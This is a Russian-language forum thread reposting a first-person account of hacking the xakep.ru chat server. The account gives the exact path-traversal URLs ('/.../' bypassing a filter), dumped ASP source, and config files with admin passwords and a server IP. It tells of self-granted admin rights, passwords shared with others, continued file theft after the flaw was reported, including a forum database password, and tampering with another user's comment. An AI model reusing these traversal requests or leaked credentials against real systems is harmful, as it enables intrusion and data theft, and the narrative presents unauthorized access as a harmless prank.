• На проекте открылась регистрация только для продавцов. Для обычных пользователей будет открыта позже. Подробнее.
    P.S. Не надо скидывать ссылки на форумы, где у вас ноль сообщений. Подобные заявки будут отклонятся.

Взлом xakep.ru (история:) )

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Хех давно это было года два назад:) Вот нарыл у себя статью знакомого.

Nik8 написал(а):
Как был взломан xakep.ru

Сидя обычным вечером, в обычной обстановке в чате хакера, с флудом, матом, клонами, я размышлял над проблемой отсуствием модераторов.

Тут я и решил немного "пошупать" чат.

У меня давно сложилось мнения об работе чата, Я давно догадывался что это вовсе не скрипты, а демон, который написан на delphi(ошибки иногда знакомые вылетали), всвязи с этим меня заинтересовала одна из сылок в чате http://chat.xakep.ru:8080/files/xakep/main.css, значит разработчик решил организовать в демоне еше некое подобие веб сервера)

Начал прошупывать следушие варианты
http://chat.xakep.ru:8080/files/xakep/../xakep/main.css
превратилось в
http://chat.xakep.ru:8080/files/xakep/main.css
т.е символы /../ вырезались.
Теперь попробовал следуший вариант
http://chat.xakep.ru:8080/files/xakep/.../xakep/main.css
Сработало! /.../ остались на месте!

Так как я не мог производить обзор директорий, пришлось наугад подбирать пути, тут мне повезло.
http://chat.xakep.ru:8080/files/.../.../xakep/default.asp
Передо мною предстал исходник default.asp сайта xakep.ru :)

<%
' Сделал: Шаврук Константин
' Проверил: Солякин Иван
%>
<!--#include virtual="code/common/option.asp"-->
<!--#include virtual="local/const.asp"-->
<!--#include virtual="local/proc.asp"-->
<!--#include virtual="local/post.asp"-->
<!--#include virtual="/code/common/magazine/magazines.asp"-->
<!--#include virtual="local/magazine/public.asp"-->
<%SetMagazinesPref%>
<%'call HTMLReplicaStatStart(coHTMLReplicaHits1, coHTMLReplicaTTL1)
' call HTMLReplicaStat(coHTMLReplicaSiteID, coHTMLReplicaHits1, coHTMLReplicaTTL1)%>
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<!--#include virtual="local/include/meta.asp"-->
<style type="text/css">
<!--
-->
</style>
<title>Xakep Online -&gt; Home</title>
</head>

<body <%=BackColor%>>
<span style="display:none">
<a href="http://www.xakep.ru/articles/magazine/1999.asp">Все выпуски журнал Хакер за 1999 год</a>
<a href="http://www.xakep.ru/articles/magazine/2000.asp">Все выпуски журнал Хакер за 2000 год</a>
<a href="http://www.xakep.ru/articles/magazine/2001.asp">Все выпуски журнал Хакер за 2001 год</a>
<a href="http://www.xakep.ru/articles/magazine/2002.asp">Все выпуски журнал Хакер за 2002 год</a>
<a href="http://www.xakep.ru/articles/magazine/2003.asp">Все выпуски журнал Хакер за 2003 год</a>
<a href="http://www.xakep.ru/articles/magazine/2004.asp">Все выпуски журнал Хакер за 2004 год</a>
<a href="http://www.xakep.ru/articles/magazine/2005.asp">Все выпуски журнал Хакер за 2005 год</a>
<a href="http://www.xakep.ru/articles/mp3/default.asp">MP3 - музыка в МР3 и обзоры музыкальных новинок</a>
<a href="http://www.xakep.ru/articles/defence/default1.asp">Все статьи</a>
</span>
<!--#include virtual="local/include/all_start.asp"-->
<table width="100%" border="0" cellspacing="0" cellpadding="0">
...


теперь попытался прочитать другой файл, а имено первый попавшийся постинг.
http://chat.xakep.ru:8080/files/.../.../xakep/post/27602/default.asp

<%Session("se-postart-filedir") = "27602"%>
<%Session("se-postart-title") = "Offline SMS Bomber №2"%>
<%Session("se-postart-author") = "DgtlScrm"%>
<%Session("se-postart-email") = "dgtlscrm at real.xakep.ru.NO.SPAM"%>
<%Session("se-postart-theme") = "zHOMEz, zSOFTz, zHOWz, zINFOz"%>
<%Session("se-post-postdirs") = ""%> <%Session("se-postart-www") = ""%>
<%Session("se-postart-thread") = ""%>
<%Session("se-postart-create_date") = "03.08.2005 15:14:23"%>
<%Session("se-postart-code_cat") = ""%> <%Session("se-postart-owner") =
"pavluchenko.ilya"%> <%=PostHeader(Session("se-postart-theme"))%>
Offline SMS Bomber №2
....текст статьи приводить не буду..
Keywords: zPOSTz zHOMEz, zSOFTz, zHOWz, zINFOz z27602z
Для Авторов: edit
<<%=WebDir%>local/redirect.asp?url=local/admin/post/default.asp?filedir=27602>
delete
<<%=WebDir%>local/redirect.asp?url=local/admin/post/delete.asp?filedir=27602>

Автор: DgtlScrm <mailto:dgtlscrm at real.xakep.ru.NO.SPAM>
Дата: 03.08.2005 15:14:23©




Сказать честно меня больше интересовали пароли от чата, так как у меня были догадки что чат это всего лишь сервис для WinNT.
Я начал подбирать другие варианты..

http://chat.xakep.ru:8080/files/.../daemon.exe - облом
http://chat.xakep.ru:8080/files/.../chat.exe - облом
http://chat.xakep.ru:8080/files/.../service.exe - облом
http://chat.xakep.ru:8080/files/.../server.exe - вот оно! Еше раз повезло!

Скачав файл server.exe, Я принялся искать в нем строку которая бы помогла определить директорию, или файл в котором хранятся настройки чата.

Таким путем я выяснил путь до главного конфига чата "/cfg/system.cfg"
Прочитав его по адресу http://chat.xakep.ru:8080/files/.../cfg/system.cfg, я все больше и больше чуствовал себя ближе к цели, пароли от чата хакера.

Вот содержимое файла system.cfg

# этот конфиг отностится только к системе чатов в целом. # настройки
отдельных чатов находятся в chats.cfg # IP, порт, на котором будет
работать чат-сервер IP=194.67.128.2 # порт, на котором будет работать
чат-сервер Port=8080 # Сколько дней хранить логи (системные) LogDays=3 #
время жизни пользователя, сек UserTTL=40 # макс допустимое число
сообщений на страницу без перезагрузки MessagesPerPage=200 # макс. длит
загрузки сообщений без обновления PageReloadTime=600 # сколько последних
сообщений заггружать на новую страницу PreloadMessages=30 # на сколько
секунд кикают KickTimeout=3600 # этот пароль позволяет удаленно
управлять сервером # команды: #
/admin?chat=gameland&password=kazantipoz&command=reload - перезагрузить
шаблоны AdminPassword=kazantipoz # IP пользователей в чате должен быть
уникальным? (yes/no) UniqueIP=yes # Флуд, если за FloodWatchTime секунд
было более FloodMessages сообщений # пользователь блокируется как флудер
на FloodBlockTime секунд FloodWatchTime=15 FloodMessages=5
FloodBlockTime=60 # флуд логин/логаут, если за FloodLoginsWatchTime
секунд было более FloodLogins логинов # пользователь блокируется как
флудер на KickTimeout секунд FloodLoginsWatchTime=20 FloodLogins=2 # на
сколько секунд банят IP командой /ban Поддерживаются символы ? и *
BanTimeout=259200 # Уровень лога (0..3) # 0 - запуск/остановка,
админские команды # 1 - +GET/POST и url # 2 - +краткий процесс обработки
URL # 3 - +отладочная информация, используемые функциях LogLevel=2



так..фига, нету тут никаких заветных паролей...
Идем дальше... читаем файл
http://chat.xakep.ru:8080/files/.../cfg/chats.cfg (Хранит параметры чатов).

ВОТ ОНО!

Абсолютно все пароли чата передомною!

[gameland] TemplatesDir=d:\morazm\www\chat\templates\gameland\
LogsDir=d:\morazm\www\chat\logs\gameland\ AdminPassword=/573572392012
WizardPassword=/778354832227 LogDays=30 NickLength=20 MessageLength=250
[xakep] TemplatesDir=d:\morazm\www\chat\templates\xakep\
LogsDir=d:\morazm\www\chat\logs\xakep\ AdminPassword=/9482940491
WizardPassword=/48402841938 LogDays=30 NickLength=20 MessageLength=250
[xyligan] TemplatesDir=d:\morazm\www\chat\templates\xyligan\
LogsDir=d:\morazm\www\chat\logs\xyligan\ AdminPassword=/482908948929
WizardPassword=/492004820239 LogDays=30 NickLength=20 MessageLength=250


Нетерпеливо, с некоторой опаской ввожу "/9482940491" в чате хакера, и ... появляется заветная надпись "Вы получили права админа чата".

Началось самовольное назначение модераторов в чате(кроме чата gameland, их вообще не было!), я дал пароли довереным людям в чате(Ники упоминать не буду), с этого момента в чате стоял железный порядок..

Дефейсить xakep.ru я не хотел, потому
практически тут же оставил сообщение на форуме forum.xakep.ru, об найденой серьезной уязвимости.
И что? Практически игнор, со стороны Администрации)

Тогда пришлось сообщить в Администрацию gameland.ru, через одного человека.

Результат меня поразил, в чате начали появлятся админы(Sem, Ups) и писать комманды...
13:25:31 [213.247.142.2] ups: /end
Это просто поразило, я вспомнил что тому человеку я сказал что нашел новую админскую комманду /end, но забыл сказать что она делает, а именно завершает админскую сессию в чате))
Еше большую улыбку вызвало 14:18:00 [62.152.84.67] asd: ****/end
Непонятно почему они решили что баг иммено в команде /end непонятно))
После этого админы просто сменили пароли на чат.
Неважно баг продолжает работать, я начинаю от безделья понемногу сливать некоторые файлы.
Заодно также слил конфиг форума от forum.xakep.ru с паролем от базы.
Позже ко мне в асю все таки постучал некий Администратор из gameland.ru
Ему я расказал про баг, поблагодарив меня за сотрудничество, мы распрошались.

Вечером чат уже прекратил свое сушествование, при заходе на chat.xakep.ru:8080 чат перестал дружествено откликался на запросы, сервис остановили, многострадальный чат умер...(тут я немного пожалел, что вообще раскрыл баг).

Есть достоверная информация что закрытие чата связано с утерей исходников, и как следствие невозможность закрытия бага...


Идем дальше...

Спустя несколько месяцев, убирая песпорядочную свалку на винте, я обнаружил ранее слитый файл
opinion_new.asp(отправка комментариев).

При внимательном расмотрении, выяснил принцип его работы.
Запрос на просмотр\редактирование\удаление комментария идет к другому http://rateit.glc.ru/opinion.asp.

Пройдя по сылке http://rateit.glc.ru/opinion.asp?opinion_code=ид комментария, можно было увидеть следушию картину:

<?xml version="1.0" encoding="windows-1251" ?>
<rate code="RRT161892">
<opinion code="ORT114335" adddate="13.12.2005 12:15:39">
<autor name="Pupkin-Zade" passwd="xxxx" email="xa@real.xakep.ru" ip="195.96.190.242" />
Врете вы все, я сам вам лично отвечал 24 Ноября. Разбирайтесь со своей почтой...
</opinion>
</rate>

Решив немного пошутить над пупкиным, я немного подредактировал сообшение:
"Врете вы все, я сам вам лично отвечал 24 Ноября. Разбирайтесь со своей почтой... И вообше идите на ***..."

Позже пришел грозный пупкин, заявил что это не он, и вернул сообщение к исходному виду.
В ответ я извинился.

Думаю выводы из этой статьи понятны, при изобретении своего веб-сервера, надо быть предельно осторожным, и еше раз тестить все, понимая чем грозит подобная брешь в сервисе который запушен с правами LOCALSYSTEM.
 

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Кстати ник8 меня тогда подколол:) дал сылку на измененый пост Пупкина, а сам несказал что это его работа:) Ну я и ответил, что у Пупкина походу башню снесло :)
 

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Я сам незнаю точно, ваще есть маза что непоеду.
 

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
У меня где-то в загашнике логи с чата хакер :)
Найду вЫложу:)
 

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Хех, вопрос не потематике темЫ :)
Пароль не обойти, его надо сбрутить :)
 
Сверху